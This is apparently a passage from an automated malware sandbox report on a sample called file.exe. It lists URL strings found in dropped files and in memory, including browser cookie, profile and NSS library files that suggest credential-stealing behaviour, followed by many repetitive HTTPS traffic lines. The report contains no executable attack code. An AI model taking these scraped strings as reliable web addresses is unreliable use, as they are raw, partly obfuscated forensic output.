Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: ECAKECAEGDHIECBGHIII.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log4.9.dr, 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log10.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log10.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.9.dr, 000003.log10.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log10.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13375660176104584.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_481.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp, ECAKECAEGDHIECBGHIII.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2625645608.0000000023EC1000.00000004.00000020.00020000.00000000.sdmp, ECAKECAEGDHIECBGHIII.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: BAKKEGCA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2378830546.0000000023E6C000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, BKKJKFBK.0.dr, BAKKEGCA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 7b4e177b-7755-4fc8-8f4f-24f051030fd7.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_481.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_481.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_481.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2599848202.0000000000BA4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2599848202.0000000000BA4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/JYmawdGex.exe
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2599848202.0000000000BA4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2599848202.0000000000C87000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2599848202.0000000000BA4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2599848202.0000000000C87000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2599848202.0000000000BA4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2492846601.0000000024133000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEBFCBKECBGDBFCFBKKKF.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2599848202.0000000000BA4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/wdGex.exeexe
Source: JJKJDAEBFCBKECBGDBFCFBKKKF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2492846601.0000000024133000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEBFCBKECBGDBFCFBKKKF.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2599848202.0000000000BA4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.2599848202.0000000000BA4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/aSdpyCoJYmawdGex.exe
Source: file.exe, 00000000.00000003.2492846601.0000000024133000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEBFCBKECBGDBFCFBKKKF.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2599848202.0000000000BA4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: e778e49a-692b-428e-b7b2-57a838b03a6d.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
